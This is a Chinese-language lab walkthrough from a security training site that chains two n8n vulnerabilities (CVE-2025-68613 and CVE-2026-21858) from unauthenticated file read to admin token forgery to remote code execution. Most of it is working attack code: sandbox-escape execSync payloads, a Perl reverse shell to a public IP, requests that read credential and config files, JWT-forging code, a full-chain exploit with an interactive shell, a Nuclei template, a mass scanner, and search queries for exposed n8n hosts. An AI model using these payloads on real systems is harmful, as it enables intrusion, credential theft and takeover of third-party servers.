关注泷羽Sec和泷羽Sec-静安公众号,这里会定期更新与 OSCP、渗透测试等相关的最新文章,帮助你理解网络安全领域的最新动态。
学安全,别只看书上手练,就来好靶场,本WP靶场已开放,欢迎体验:
🔗 入口:http://www.loveli.com.cn/see_bug_one?id=581
✅ 邀请码:48ffd1d7eba24bf4
🎁 填写即领 7 天高级会员,解锁更多漏洞实战环境!快来一起实战吧!👇
因为是非常火的洞,Github上一搜就有poc
CVE-2025-68613 的进入方法
https://github.com/Threekiii/Awesome-POC/blob/master/Web%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E/n8n%20%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E5%AF%BC%E8%87%B4%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%20CVE-2025-68613.md [[CVE-2025-68613 n8n 表达式沙箱逃逸导致远程代码执行漏洞]]
打开页面,随便注册一个账号
创建 Edit Fields(Set) 节点
创建一个新的 Workflow 并添加一个 Manual Trigger 节点,添加 Edit Fields(Set) 选项:
点击 Add Field,此处需要填写 name 和 value。name 处填入任意内容,在 value 处填入以下代码,切换到 Expression。点击 Test step 测试执行:
1{{ (function(){ return this.process.mainModule.require('child_process').execSync('id').toString() })() }}

最后ls目录发现flag在/tmp目录下。
1
2{{ (function(){ return this.process.mainModule.require('child_process').execSync('cat /tmp/flag.txt').toString() })() }}
flag{93c67d9043f045b399fe6896b10395dc}
或者创建exec节点直接执行命令(注意有没有权限)
直接新建一个exec节点

想要弹回shell发现没有nc也没有python,ls /bin 发现有perl, perl也可以弹

1perl -e 'use Socket;$i="公网ip";$p=4777;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

flag{c006fa82940946b1a5c261198dfba1c5}
CVE-2026-21858 的进入方法
https://github.com/Chocapikk/CVE-2026-21858
把下面的代码保存为n8n_vuln_workflow.py文件
1#!/usr/bin/env python3
2"""
3CVE-2026-21858 漏洞工作流部署脚本
4用于在已知登录凭据的n8n实例上部署易受攻击的工作流配置
5"""
6
7import requests
8import json
9import sys
10import argparse
11
12# 正确的漏洞工作流配置(与你提供的配置一致)
13VULNERABLE_WORKFLOW = {
14 "name": "Vulnerable Form",
15 "nodes": [
16 {
17 "parameters": {
18 "formTitle": "Upload",
19 "formFields": {
20 "values": [
21 {
22 "fieldLabel": "document",
23 "fieldType": "file"
24 }
25 ]
26 },
27 "responseMode": "responseNode",
28 "options": {}
29 },
30 "id": "trigger",
31 "name": "Form Trigger",
32 "type": "n8n-nodes-base.formTrigger",
33 "typeVersion": 2.2,
34 "position": [0, 0],
35 "webhookId": "vulnerable-form"
36 },
37 {
38 "parameters": {
39 "respondWith": "binary",
40 "options": {}
41 },
42 "id": "respond",
43 "name": "Respond",
44 "type": "n8n-nodes-base.respondToWebhook",
45 "typeVersion": 1.1,
46 "position": [300, 0]
47 }
48 ],
49 "pinData": {},
50 "connections": {
51 "Form Trigger": {
52 "main": [
53 [
54 {
55 "node": "Respond",
56 "type": "main",
57 "index": 0
58 }
59 ]
60 ]
61 }
62 },
63 "active": True,
64 "settings": {
65 "executionOrder": "v1"
66 },
67 "tags": []
68}
69
70def login_n8n(base_url, email, password):
71 """登录n8n并返回session"""
72 session = requests.Session()
73
74 print(f"[*] 正在登录 {base_url}...")
75 print(f" 邮箱: {email}")
76
77 try:
78 login_resp = session.post(
79 f"{base_url}/rest/login",
80 json={"email": email, "password": password},
81 timeout=15
82 )
83
84 if login_resp.status_code == 200:
85 print("[✓] 登录成功")
86 return session
87 else:
88 print(f"[✗] 登录失败: HTTP {login_resp.status_code}")
89 print(f" 响应: {login_resp.text[:200]}")
90 return None
91
92 except requests.exceptions.RequestException as e:
93 print(f"[✗] 连接失败: {e}")
94 return None
95
96def check_existing_workflow(session, base_url):
97 """检查是否已存在同名工作流"""
98 try:
99 resp = session.get(f"{base_url}/rest/workflows", timeout=10)
100 if resp.ok:
101 workflows = resp.json().get('data', [])
102 for wf in workflows:
103 if wf.get('name') == 'Vulnerable Form':
104 return wf.get('id')
105 return None
106 except:
107 return None
108
109def delete_workflow(session, base_url, workflow_id):
110 """删除已存在的工作流"""
111 try:
112 resp = session.delete(f"{base_url}/rest/workflows/{workflow_id}", timeout=10)
113 return resp.ok
114 except:
115 return False
116
117def deploy_workflow(session, base_url):
118 """部署漏洞工作流"""
119
120 # 检查是否已存在
121 existing_id = check_existing_workflow(session, base_url)
122 if existing_id:
123 print(f"[!] 发现已存在的 'Vulnerable Form' 工作流 (ID: {existing_id})")
124 print("[*] 正在删除旧工作流...")
125 if delete_workflow(session, base_url, existing_id):
126 print("[✓] 旧工作流已删除")
127 else:
128 print("[!] 删除失败,继续创建...")
129
130 print("[*] 正在创建漏洞工作流...")
131
132 try:
133 create_resp = session.post(
134 f"{base_url}/rest/workflows",
135 json=VULNERABLE_WORKFLOW,
136 timeout=15
137 )
138
139 if not create_resp.ok:
140 print(f"[✗] 创建失败: HTTP {create_resp.status_code}")
141 print(f" 响应: {create_resp.text[:500]}")
142 return None
143
144 workflow_data = create_resp.json().get('data', {})
145 workflow_id = workflow_data.get('id')
146
147 if not workflow_id:
148 print("[✗] 无法获取工作流ID")
149 print(f" 响应: {create_resp.text[:500]}")
150 return None
151
152 print(f"[✓] 工作流创建成功!")
153 print(f" ID: {workflow_id}")
154 print(f" 名称: {workflow_data.get('name')}")
155
156 # 确保工作流已激活
157 print("[*] 正在激活工作流...")
158 activate_resp = session.patch(
159 f"{base_url}/rest/workflows/{workflow_id}",
160 json={"active": True},
161 timeout=10
162 )
163
164 if activate_resp.ok:
165 print("[✓] 工作流已激活")
166 else:
167 print(f"[!] 激活失败: HTTP {activate_resp.status_code}")
168 print(" 工作流已创建但未激活,请手动激活")
169
170 return workflow_id
171
172 except requests.exceptions.RequestException as e:
173 print(f"[✗] 请求失败: {e}")
174 return None
175
176def print_usage_instructions(base_url, workflow_id):
177 """打印使用说明"""
178 webhook_url = f"{base_url}/form/vulnerable-form"
179
180 print("\n" + "="*70)
181 print("部署成功! 漏洞工作流已就绪")
182 print("="*70)
183
184 print(f"\n📋 工作流信息:")
185 print(f" 管理界面: {base_url}/workflow/{workflow_id}")
186 print(f" Webhook URL: {webhook_url}")
187
188 print(f"\n🔍 测试漏洞 - 读取文件:")
189 print(f"\n # 使用浏览器控制台:")
190 print(f""" fetch('{webhook_url}', {{
191 method: 'POST',
192 headers: {{'Content-Type': 'application/json'}},
193 body: JSON.stringify({{
194 data: {{}},
195 files: {{
196 test: {{
197 filepath: '/etc/hostname',
198 originalFilename: 'test.txt',
199 mimetype: 'text/plain',
200 size: 100
201 }}
202 }}
203 }})
204 }})
205 .then(r => r.text())
206 .then(console.log);""")
207
208 print(f"\n # 或使用 curl:")
209 print(f""" curl -X POST '{webhook_url}' \\
210 -H 'Content-Type: application/json' \\
211 -d '{{"data":{{}}, "files":{{"test":{{"filepath":"/etc/hostname","originalFilename":"test.txt","mimetype":"text/plain","size":100}}}}}}'""")
212
213 print(f"\n🎯 完整利用链:")
214 print(f" 1. 读取配置: /root/.n8n/config 或 /home/node/.n8n/config")
215 print(f" 2. 读取数据库: /root/.n8n/database.sqlite")
216 print(f" 3. 伪造JWT令牌")
217 print(f" 4. 登录管理后台")
218 print(f" 5. 创建RCE工作流")
219
220 print("\n" + "="*70 + "\n")
221
222def main():
223 parser = argparse.ArgumentParser(
224 description='CVE-2026-21858 漏洞工作流部署脚本',
225 formatter_class=argparse.RawDescriptionHelpFormatter,
226 epilog="""
227示例:
228 python3 deploy_vuln_workflow.py http://target-ip:5678 admin@exploit.local password123
229 python3 deploy_vuln_workflow.py https://n8n.example.com admin@example.com MyP@ssw0rd
230 """
231 )
232
233 parser.add_argument('url', help='n8n实例URL (例: http://localhost:5678)')
234 parser.add_argument('email', help='管理员邮箱')
235 parser.add_argument('password', help='管理员密码')
236
237 args = parser.parse_args()
238
239 # 清理URL
240 base_url = args.url.rstrip('/')
241
242 print("="*70)
243 print("CVE-2026-21858 漏洞工作流部署工具")
244 print("="*70)
245 print(f"目标: {base_url}")
246 print(f"账号: {args.email}")
247 print()
248
249 # 登录
250 session = login_n8n(base_url, args.email, args.password)
251 if not session:
252 print("\n[✗] 部署失败: 无法登录")
253 sys.exit(1)
254
255 # 部署工作流
256 workflow_id = deploy_workflow(session, base_url)
257 if not workflow_id:
258 print("\n[✗] 部署失败: 无法创建工作流")
259 sys.exit(1)
260
261 # 打印使用说明
262 print_usage_instructions(base_url, workflow_id)
263
264 sys.exit(0)
265
266if __name__ == "__main__":
267 main()
然后运行,这里的模仿的是n8n的真实用户在使用过程中“不小心”的“恰好”创建了这样的一个工作流的节点。
1python .\n8n_vuln_workflow.py http://target-ip:5678 111@111.com passwd
这个节点是激活状态,而且是file配置。

点击 http://8vccf5j.haobachang.loveli.com.cn:8888/form/vulnerable-form 打开可以看到文件上传的显示。这一步在实际渗透过程中是不需要用户登录的,任意用户都看得到这个界面,也就是任意读取,它可以让未授权的用户读到敏感文件。实际的CVE-2026-21858利用过程是从这里开始的,现在忘了之前设置的密码吧,假装你不知道登录密码。

CVE-2025-68613 漏洞虽然可以RCE,但是前提条件是知道n8n系统的登录密码,而且这个账户还需要有节点编辑权限。也就是必须登录到下图这样节点编辑的界面才能成功执行,如果不知道账户密码,或者登录的账户没有节点编辑权限的话就没办法,只能干瞪眼。这时候CVE-2026-2185来了,这个漏洞可以在不登陆的情况下,获得系统一些敏感文件的读取权限,从而访问比如 /etc/passwd 这样的文件获得密码。从而实现完整的攻击链条。
按F12打开控制台Console输入如下内容
1fetch('http://target-ip:5678/form/vulnerable-form', {
2 method: 'POST',
3 headers: {'Content-Type': 'application/json'},
4 body: JSON.stringify({
5 data: {},
6 files: {
7 test: {
8 filepath: '/etc/passwd',
9 originalFilename: 'test.txt',
10 mimetype: 'text/plain',
11 size: 100
12 }
13 }
14 })
15})
16.then(r => r.text())
17.then(console.log)

确认任意文件读取漏洞存在,然后读取计算jwt所需的文件。
1// 1. 读取环境变量获取HOME目录
2fetch('http://target-ip:5678/form/vulnerable-form', {
3 method: 'POST',
4 headers: {'Content-Type': 'application/json'},
5 body: JSON.stringify({
6 data: {},
7 files: {
8 test: {
9 filepath: '/proc/self/environ',
10 originalFilename: 'environ.txt',
11 mimetype: 'text/plain',
12 size: 1000
13 }
14 }
15 })
16})
17.then(r => r.text())
18.then(data => {
19 console.log('环境变量:', data);
20 // 从输出中找到 HOME=/home/node 或 HOME=/root
21});
22
23// 可能的配置文件路径
24const configPaths = [
25 '/home/node/.n8n/config',
26 '/root/.n8n/config',
27 '/.n8n/config'
28];
29
30// 尝试读取配置
31async function readConfig() {
32 for (const path of configPaths) {
33 try {
34 const response = await fetch('http://target-ip:5678/form/vulnerable-form', {
35 method: 'POST',
36 headers: {'Content-Type': 'application/json'},
37 body: JSON.stringify({
38 data: {},
39 files: {
40 config: {
41 filepath: path,
42 originalFilename: 'config.json',
43 mimetype: 'application/json',
44 size: 10000
45 }
46 }
47 })
48 });
49
50 const text = await response.text();
51 if (!text.includes('error') && !text.includes('could not be started')) {
52 console.log(`成功读取 ${path}:`, text);
53 return text;
54 }
55 } catch (e) {
56 console.log(`读取 ${path} 失败:`, e);
57 }
58 }
59}
60
61readConfig();
62
63// 方法1: 尝试以文本形式读取(SQLite有些部分是可读文本)
64fetch('http://target-ip:5678/form/vulnerable-form', {
65 method: 'POST',
66 headers: {'Content-Type': 'application/json'},
67 body: JSON.stringify({
68 data: {},
69 files: {
70 db: {
71 filepath: '/root/.n8n/database.sqlite',
72 originalFilename: 'database.txt',
73 mimetype: 'text/plain', // 改为text/plain
74 size: 500000
75 }
76 }
77 })
78})
79.then(r => r.text())
80.then(data => {
81 console.log('数据库内容(可能是二进制+文本混合):', data);
82
83 // 尝试提取邮箱地址(通常是可读文本)
84 const emailMatches = data.match(/[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}/g);
85 console.log('找到的邮箱:', emailMatches);
86
87 // 尝试提取bcrypt密码哈希
88 const bcryptMatches = data.match(/\$2[aby]\$\d{2}\$[./A-Za-z0-9]{53}/g);
89 console.log('找到的密码哈希:', bcryptMatches);
90
91 // 尝试提取UUID(用户ID)
92 const uuidMatches = data.match(/[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}/gi);
93 console.log('找到的UUID:', uuidMatches);
94});
得到

环境变量: COOKIE_VALUE=b9353203-81b6-420b-b662-8c027e1627e0
成功读取 /root/.n8n/config: {
"encryptionKey": "FTOwCm2ruG3b/upNMf9yvqn0d+W8TXKW"
}
找到的邮箱: (3) ['111@111.com', '%1f0d5d68-4447-4e62-b461-57c0c751e11c111@111.com', '111@111.com']
VM84:27 找到的密码哈希: ['$2a$10$Xim.XqxLEYGpP7JIAwIkouq4PYcG1DE5IqEFlxPjCXQJoAdmsHkt6']
VM84:31 找到的UUID: (7) ['89f3a667-194f-455c-a277-b30c9bc612d0', '717686a5-c248-45d7-ad21-f6f4a9ed2f38', '1f0d5d68-4447-4e62-b461-57c0c751e11c', '1f0d5d68-4447-4e62-b461-57c0c751e11c', '1f0d5d68-4447-4e62-b461-57c0c751e11c', '1f0d5d68-4447-4e62-b461-57c0c751e11c', '1f0d5d68-4447-4e62-b461-57c0c751e11c']
提取到的关键信息
encryptionKey: FTOwCm2ruG3b/upNMf9yvqn0d+W8TXKW
userId: 1f0d5d68-4447-4e62-b461-57c0c751e11c (出现5次,明显是管理员)
email: 111@111.com
passwordHash: $2a$10$Xim.XqxLEYGpP7JIAwIkouq4PYcG1DE5IqEFlxPjCXQJoAdmsHkt6
方法一:使用浏览器完成JWT伪造(纯手动)
在浏览器控制台运行以下代码:
1// 第1步:加载crypto-js库
2const script = document.createElement('script');
3script.src = 'https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js';
4document.head.appendChild(script);
5
6// 第2步:等待3秒后运行JWT生成代码
7setTimeout(() => {
8 // 已知信息
9 const encryptionKey = "FTOwCm2ruG3b/upNMf9yvqn0d+W8TXKW";
10 const userId = "1f0d5d68-4447-4e62-b461-57c0c751e11c";
11 const email = "111@111.com";
12 const passwordHash = "$2a$10$Xim.XqxLEYGpP7JIAwIkouq4PYcG1DE5IqEFlxPjCXQJoAdmsHkt6";
13
14 // 派生JWT secret(取偶数位字符)
15 let extracted = '';
16 for (let i = 0; i < encryptionKey.length; i += 2) {
17 extracted += encryptionKey[i];
18 }
19 const jwtSecret = CryptoJS.SHA256(extracted).toString();
20 console.log('🔑 JWT Secret:', jwtSecret);
21
22 // 计算JWT hash
23 const combined = email + ':' + passwordHash;
24 const sha256Hash = CryptoJS.SHA256(combined);
25 const base64Hash = sha256Hash.toString(CryptoJS.enc.Base64);
26 const jwtHash = base64Hash.substring(0, 10);
27 console.log('🔐 JWT Hash:', jwtHash);
28
29 // 构造JWT Header和Payload
30 const header = {alg: "HS256", typ: "JWT"};
31 const payload = {id: userId, hash: jwtHash};
32
33 // Base64URL编码
34 const base64urlEncode = (obj) => {
35 return btoa(JSON.stringify(obj))
36 .replace(/\+/g, '-')
37 .replace(/\//g, '_')
38 .replace(/=/g, '');
39 };
40
41 const headerB64 = base64urlEncode(header);
42 const payloadB64 = base64urlEncode(payload);
43
44 // 计算签名
45 const message = headerB64 + '.' + payloadB64;
46 const signature = CryptoJS.HmacSHA256(message, jwtSecret)
47 .toString(CryptoJS.enc.Base64)
48 .replace(/\+/g, '-')
49 .replace(/\//g, '_')
50 .replace(/=/g, '');
51
52 // 完整JWT
53 const token = message + '.' + signature;
54 console.log('✅ JWT Token:', token);
55
56 // 设置Cookie,IP改成靶机的IP
57 document.cookie = `n8n-auth=${token}; path=/; domain=target-ip`;
58 console.log('🍪 Cookie已设置!');
59 console.log('📍 现在访问: http://target-ip:5678/');
60
61 // 自动跳转
62 setTimeout(() => {
63 window.location.href = 'http://target-ip:5678/';
64 }, 1000);
65
66}, 3000);
自动跳转,直接就进来了,不用输入密码登录。然后就可以用之前CVE-2025-68613的方法了。
脚本化利用
一键全自动脚本exploit.py
1#!/usr/bin/env python3
2"""
3CVE-2026-21858 + CVE-2025-68613 - n8n Full Chain Exploit
4Arbitrary File Read → Admin Token Forge → Sandbox Bypass → RCE
5
6Author: Chocapikk
7GitHub: https://github.com/Chocapikk/CVE-2026-21858
8"""
9
10import argparse
11import hashlib
12import json
13import secrets
14import sqlite3
15import string
16import tempfile
17from base64 import b64encode
18
19import jwt
20import requests
21from pwn import log
22
23BANNER = """
24╔═══════════════════════════════════════════════════════════════╗
25║ CVE-2026-21858 + CVE-2025-68613 - n8n Full Chain ║
26║ Arbitrary File Read → Token Forge → Sandbox Bypass → RCE ║
27║ ║
28║ by Chocapikk ║
29╚═══════════════════════════════════════════════════════════════╝
30"""
31
32RCE_PAYLOAD = '={{ (function() { var require = this.process.mainModule.require; var execSync = require("child_process").execSync; return execSync("CMD").toString(); })() }}'
33
34
35def randstr(n: int = 12) -> str:
36 return "".join(secrets.choice(string.ascii_lowercase + string.digits) for _ in range(n))
37
38
39def randpos() -> list[int]:
40 return [secrets.randbelow(500) + 100, secrets.randbelow(500) + 100]
41
42
43class Ni8mare:
44 def __init__(self, base_url: str, form_path: str):
45 self.base_url = base_url.rstrip("/")
46 self.form_url = f"{self.base_url}/{form_path.lstrip('/')}"
47 self.session = requests.Session()
48 self.admin_token = None
49
50 def _api(self, method: str, path: str, **kwargs) -> requests.Response | None:
51 kwargs.setdefault("timeout", 30)
52 kwargs.setdefault("cookies", {"n8n-auth": self.admin_token} if self.admin_token else {})
53 resp = self.session.request(method, f"{self.base_url}{path}", **kwargs)
54 return resp if resp.ok else None
55
56 def _lfi_payload(self, filepath: str) -> dict:
57 return {
58 "data": {},
59 "files": {
60 f"f-{randstr(6)}": {
61 "filepath": filepath,
62 "originalFilename": f"{randstr(8)}.bin",
63 "mimetype": "application/octet-stream",
64 "size": secrets.randbelow(90000) + 10000
65 }
66 }
67 }
68
69 def _build_nodes(self, command: str) -> tuple[list, dict, str, str]:
70 trigger_name, rce_name = f"T-{randstr(8)}", f"R-{randstr(8)}"
71 result_var = f"v{randstr(6)}"
72 payload_value = RCE_PAYLOAD.replace("CMD", command.replace('"', '\\"'))
73 nodes = [
74 {"parameters": {}, "name": trigger_name, "type": "n8n-nodes-base.manualTrigger",
75 "typeVersion": 1, "position": randpos(), "id": f"t-{randstr(12)}"},
76 {"parameters": {"values": {"string": [{"name": result_var, "value": payload_value}]}},
77 "name": rce_name, "type": "n8n-nodes-base.set", "typeVersion": 2,
78 "position": randpos(), "id": f"r-{randstr(12)}"}
79 ]
80 connections = {trigger_name: {"main": [[{"node": rce_name, "type": "main", "index": 0}]]}}
81 return nodes, connections, trigger_name, rce_name
82
83 # ========== Arbitrary File Read (CVE-2026-21858) ==========
84
85 def read_file(self, filepath: str, timeout: int = 30) -> bytes | None:
86 resp = self.session.post(
87 self.form_url, json=self._lfi_payload(filepath),
88 headers={"Content-Type": "application/json"}, timeout=timeout
89 )
90 return resp.content if resp.ok and resp.content else None
91
92 def get_version(self) -> tuple[str, bool]:
93 resp = self._api("GET", "/rest/settings", timeout=10)
94 version = resp.json().get("data", {}).get("versionCli", "0.0.0") if resp else "0.0.0"
95 major, minor = map(int, version.split(".")[:2])
96 return version, major < 1 or (major == 1 and minor < 121)
97
98 def get_home(self) -> str | None:
99 data = self.read_file("/proc/self/environ")
100 if not data:
101 return None
102 for var in data.split(b"\x00"):
103 if var.startswith(b"HOME="):
104 return var.decode().split("=", 1)[1]
105 return None
106
107 def get_key(self, home: str) -> str | None:
108 data = self.read_file(f"{home}/.n8n/config")
109 return json.loads(data).get("encryptionKey") if data else None
110
111 def get_db(self, home: str) -> bytes | None:
112 return self.read_file(f"{home}/.n8n/database.sqlite", timeout=120)
113
114 def extract_admin(self, db: bytes) -> tuple[str, str, str] | None:
115 with tempfile.NamedTemporaryFile(suffix=".db") as f:
116 f.write(db)
117 f.flush()
118 conn = sqlite3.connect(f.name)
119 row = conn.execute("SELECT id, email, password FROM user WHERE role='global:owner' LIMIT 1").fetchone()
120 conn.close()
121 return (row[0], row[1], row[2]) if row else None
122
123 def forge_token(self, key: str, uid: str, email: str, pw_hash: str) -> str:
124 secret = hashlib.sha256(key[::2].encode()).hexdigest()
125 h = b64encode(hashlib.sha256(f"{email}:{pw_hash}".encode()).digest()).decode()[:10]
126 self.admin_token = jwt.encode({"id": uid, "hash": h}, secret, "HS256")
127 return self.admin_token
128
129 def verify_token(self) -> bool:
130 return self._api("GET", "/rest/users", timeout=10) is not None
131
132 # ========== RCE (CVE-2025-68613) ==========
133
134 def rce(self, command: str) -> str | None:
135 nodes, connections, _, _ = self._build_nodes(command)
136 wf_name = f"wf-{randstr(16)}"
137 workflow = {"name": wf_name, "active": False, "nodes": nodes,
138 "connections": connections, "settings": {}}
139
140 resp = self._api("POST", "/rest/workflows", json=workflow, timeout=10)
141 if not resp:
142 return None
143 wf_id = resp.json().get("data", {}).get("id")
144 if not wf_id:
145 return None
146
147 run_data = {"workflowData": {"id": wf_id, "name": wf_name, "active": False,
148 "nodes": nodes, "connections": connections, "settings": {}}}
149 resp = self._api("POST", f"/rest/workflows/{wf_id}/run", json=run_data, timeout=30)
150 if not resp:
151 self._api("DELETE", f"/rest/workflows/{wf_id}", timeout=5)
152 return None
153
154 exec_id = resp.json().get("data", {}).get("executionId")
155 result = self._get_result(exec_id) if exec_id else None
156 self._api("DELETE", f"/rest/workflows/{wf_id}", timeout=5)
157 return result
158
159 def _get_result(self, exec_id: str) -> str | None:
160 resp = self._api("GET", f"/rest/executions/{exec_id}", timeout=10)
161 if not resp:
162 return None
163 data = resp.json().get("data", {}).get("data")
164 if not data:
165 return None
166 parsed = json.loads(data)
167 # Result is usually the last non-empty string
168 for item in reversed(parsed):
169 if isinstance(item, str) and len(item) > 3 and item not in ("success", "error"):
170 return item.strip()
171 return None
172
173 # ========== Full Chain ==========
174
175 def pwn(self) -> bool:
176 p = log.progress("HOME directory")
177 home = self.get_home()
178 if not home:
179 return p.failure("Not found") or False
180 p.success(home)
181
182 p = log.progress("Encryption key")
183 key = self.get_key(home)
184 if not key:
185 return p.failure("Failed") or False
186 p.success(f"{key[:8]}...")
187
188 p = log.progress("Database")
189 db = self.get_db(home)
190 if not db:
191 return p.failure("Failed") or False
192 p.success(f"{len(db)} bytes")
193
194 p = log.progress("Admin user")
195 admin = self.extract_admin(db)
196 if not admin:
197 return p.failure("Not found") or False
198 uid, email, pw = admin
199 p.success(email)
200
201 p = log.progress("Token forge")
202 self.forge_token(key, uid, email, pw)
203 p.success("OK")
204
205 p = log.progress("Admin access")
206 if not self.verify_token():
207 return p.failure("Rejected") or False
208 p.success("GRANTED!")
209
210 log.success(f"Cookie: n8n-auth={self.admin_token}")
211 return True
212
213
214def parse_args():
215 p = argparse.ArgumentParser(description="n8n Ni8mare - Full Chain Exploit")
216 p.add_argument("url", help="Target URL (http://target:5678)")
217 p.add_argument("form", help="Form path (/form/upload)")
218 p.add_argument("--read", metavar="PATH", help="Read arbitrary file")
219 p.add_argument("--cmd", metavar="CMD", help="Execute single command")
220 p.add_argument("-o", "--output", metavar="FILE", help="Save LFI output to file")
221 return p.parse_args()
222
223
224def run_read(exploit: Ni8mare, path: str, output: str | None) -> None:
225 data = exploit.read_file(path)
226 if not data:
227 log.error("File read failed")
228 return
229 log.success(f"{len(data)} bytes")
230 if output:
231 with open(output, "wb") as f:
232 f.write(data)
233 log.success(f"Saved: {output}")
234 return
235 print(data.decode())
236
237
238def run_cmd(exploit: Ni8mare, cmd: str) -> None:
239 p = log.progress("RCE")
240 out = exploit.rce(cmd)
241 if not out:
242 p.failure("Failed")
243 return
244 p.success("OK")
245 print(f"\n{out}")
246
247
248def run_shell(exploit: Ni8mare) -> None:
249 log.info("Interactive mode (type 'exit' to quit)")
250 while True:
251 try:
252 cmd = input("\033[91mn8n\033[0m> ").strip()
253 except (EOFError, KeyboardInterrupt):
254 print()
255 return
256 if not cmd or cmd == "exit":
257 return
258 out = exploit.rce(cmd)
259 if out:
260 print(out)
261
262
263def main():
264 print(BANNER)
265 args = parse_args()
266
267 exploit = Ni8mare(args.url, args.form)
268 version, vuln = exploit.get_version()
269 log.info(f"Target: {exploit.form_url}")
270 log.info(f"Version: {version} ({'VULN' if vuln else 'SAFE'})")
271
272 if args.read:
273 run_read(exploit, args.read, args.output)
274 return
275
276 if not exploit.pwn():
277 return
278
279 if args.cmd:
280 run_cmd(exploit, args.cmd)
281 return
282
283 run_shell(exploit)
284
285
286if __name__ == "__main__":
287 main()

flag{3b0788b1fb424583ad8bdebd080fd843}
搜索语法
n8n 平台远程代码执行漏洞(CVE-2025-68613)ZoomEye搜索app=“n8n” https://www.zoomeye.org/searchResult?q=YXBwPSJuOG4i hunter搜索语法
web.icon=="8ad475e8b10ff8bcff648ae6d49c88ae"
web.icon="8ad475e8b10ff8bcff648ae6d49c88ae"&&icp.number!==""&&icp.name!="公司"&&icp.name!="工作室"&&icp.type!="个人"
Nuclei模板
1id: CVE-2026-21858-lfi-fixed
2
3info:
4 name: n8n Arbitrary File Read (CVE-2026-21858) - Active Check
5 author: customized
6 severity: critical
7 description: |
8 Proves CVE-2026-21858 by reading /etc/passwd via n8n vulnerable form trigger.
9 tags: cve,cve2026,n8n,lfi
10
11requests:
12 - method: POST
13 path:
14 - "{{BaseURL}}/form/vulnerable-form"
15 - "{{BaseURL}}/webhook/vulnerable-form"
16 - "{{BaseURL}}/form/upload"
17 - "{{BaseURL}}/webhook/upload"
18 # 如果你知道其他特定路径,可以在这里添加
19
20 headers:
21 Content-Type: "application/json"
22
23 # 这里的 JSON 必须是压缩的一行,严格模仿 Python 脚本的 Payload
24 body: '{"data":{},"files":{"check_vuln":{"filepath":"/etc/passwd","originalFilename":"check.bin","mimetype":"application/octet-stream","size":1024}}}'
25
26 matchers-condition: and
27 matchers:
28 - type: regex
29 part: body
30 regex:
31 - "root:.*:0:0:"
32
33 - type: status
34 status:
35 - 200
把上面的代码保存为CVE-2026-21858-lfi.yaml文件,然后执行如下命令。
1nuclei -u http://8vccf5j.haobachang.loveli.com.cn:8888/ -t CVE-2026-21858-lfi.yaml

批量测试脚本
scan_n8n.py内容如下
1#!/usr/bin/env python3
2import requests
3import argparse
4import urllib3
5import concurrent.futures
6from urllib.parse import urljoin
7import sys
8
9# 禁用 SSL 警告
10urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
11
12# 颜色代码
13GREEN = "\033[92m"
14RED = "\033[91m"
15YELLOW = "\033[93m"
16RESET = "\033[0m"
17
18def get_lfi_payload(filepath="/etc/passwd"):
19 """构造恶意 JSON Payload"""
20 return {
21 "data": {},
22 "files": {
23 "check_vuln": {
24 "filepath": filepath,
25 "originalFilename": "test.bin",
26 "mimetype": "application/octet-stream",
27 "size": 1024
28 }
29 }
30 }
31
32def check_vulnerability(target_url, form_path):
33 """检测单个目标"""
34 # 确保 URL 格式正确
35 if not target_url.startswith("http"):
36 target_url = f"http://{target_url}"
37
38 full_url = urljoin(target_url, form_path)
39
40 try:
41 # 发送 LFI 请求
42 response = requests.post(
43 full_url,
44 json=get_lfi_payload(),
45 headers={"Content-Type": "application/json"},
46 timeout=10,
47 verify=False
48 )
49
50 # 检查 /etc/passwd 的特征字符
51 if response.status_code == 200 and "root:x:0:0" in response.text:
52 print(f"[{GREEN}VULN{RESET}] {full_url} - Successfully read /etc/passwd")
53 return full_url
54 elif response.status_code == 404:
55 # 这里的 404 可能意味着 Form ID 不对,而不是 n8n 不存在
56 print(f"[{YELLOW}WARN{RESET}] {full_url} - Form endpoint not found (404)")
57 else:
58 print(f"[{RED}FAIL{RESET}] {full_url} - Not vulnerable or unknown response (Code: {response.status_code})")
59
60 except requests.exceptions.RequestException as e:
61 print(f"[{RED}ERR {RESET}] {target_url} - Connection failed: {str(e)[:50]}")
62
63 return None
64
65def main():
66 parser = argparse.ArgumentParser(description="Batch Scanner for CVE-2026-21858 (n8n LFI)")
67 parser.add_argument("-f", "--file", help="File containing list of target URLs", required=True)
68 parser.add_argument("-p", "--path", help="Form path to test (default: /form/vulnerable-form)", default="/form/vulnerable-form")
69 parser.add_argument("-t", "--threads", help="Number of threads", type=int, default=10)
70 parser.add_argument("-o", "--output", help="File to save vulnerable URLs", default="vuln_hosts.txt")
71
72 args = parser.parse_args()
73
74 targets = []
75 try:
76 with open(args.file, "r") as f:
77 targets = [line.strip() for line in f if line.strip()]
78 except FileNotFoundError:
79 print(f"Error: File {args.file} not found.")
80 sys.exit(1)
81
82 print(f"[*] Loaded {len(targets)} targets.")
83 print(f"[*] Testing Form Path: {args.path}")
84 print("[*] Starting scan...\n")
85
86 vulnerable_hosts = []
87
88 # 多线程扫描
89 with concurrent.futures.ThreadPoolExecutor(max_workers=args.threads) as executor:
90 futures = {executor.submit(check_vulnerability, url, args.path): url for url in targets}
91
92 for future in concurrent.futures.as_completed(futures):
93 result = future.result()
94 if result:
95 vulnerable_hosts.append(result)
96
97 # 保存结果
98 if vulnerable_hosts:
99 with open(args.output, "w") as f:
100 for url in vulnerable_hosts:
101 f.write(url + "\n")
102 print(f"\n[{GREEN}SUCCESS{RESET}] Found {len(vulnerable_hosts)} vulnerable hosts. Saved to {args.output}")
103 else:
104 print(f"\n[{RED}FINISHED{RESET}] No vulnerable hosts found.")
105
106if __name__ == "__main__":
107 main()
